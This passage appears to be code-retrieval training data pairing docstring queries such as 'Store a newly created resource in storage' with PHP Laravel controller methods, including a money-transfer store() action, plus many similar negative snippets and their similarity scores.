accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { $accounts = Account::get(); return view('backend.transfers.create_transfer',compact('accounts')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { clock($request->all()); $rules = array( 'date' => 'required', 'fromAccountId' => 'required', 'toAccountId' => 'required', 'amount' => 'required', 'description' => 'required', 'method' => 'required', /* 'ref' => 'required', 'person' => 'required',*/ ); $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { toast('Rectify errors and re-submit!','error','top-right')->autoclose(3500); return Redirect::to('transfers/create') ->withErrors($validator) ->withInput($request->input()); } else { $transferData = $request->all(); $transfer = Transfer::create($transferData); $transfer->save(); $fromaccount = Account::find($request->fromAccountId); $fromaccount->balance = $fromaccount->balance-$request->amount; $fromaccount->save(); $toaccount = Account::find($request->toAccountId); $toaccount->balance = $toaccount->balance+$request->amount; $toaccount->save(); $transactionData['payerid'] = $request->fromAccountId; $transactionData['payeeid'] = $request->toAccountId; $transactionData['type'] = 'Transfer'; $transactionData['amount'] = $request->amount; $transactionData['description'] = $request->description; $transactionData['date'] = $request->date; $transactionData['account'] = $transfer->fromaccounts->accountName; $transactionData['dr'] = $request->amount; $transactionData['cr'] = 0; $transactionData['bal'] = $fromaccount->balance; $transfer1 = Transaction::create($transactionData); $transactionData['account'] = $transfer->toaccounts->accountName; $transactionData['cr'] = $request->amount; $transactionData['dr'] = 0; $transactionData['bal'] = $toaccount->balance; $transfer2 = Transaction::create($transactionData); toast('Transfer Created Successfully!','success','top-right')->autoclose(3500); return Redirect::to('transfers/'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
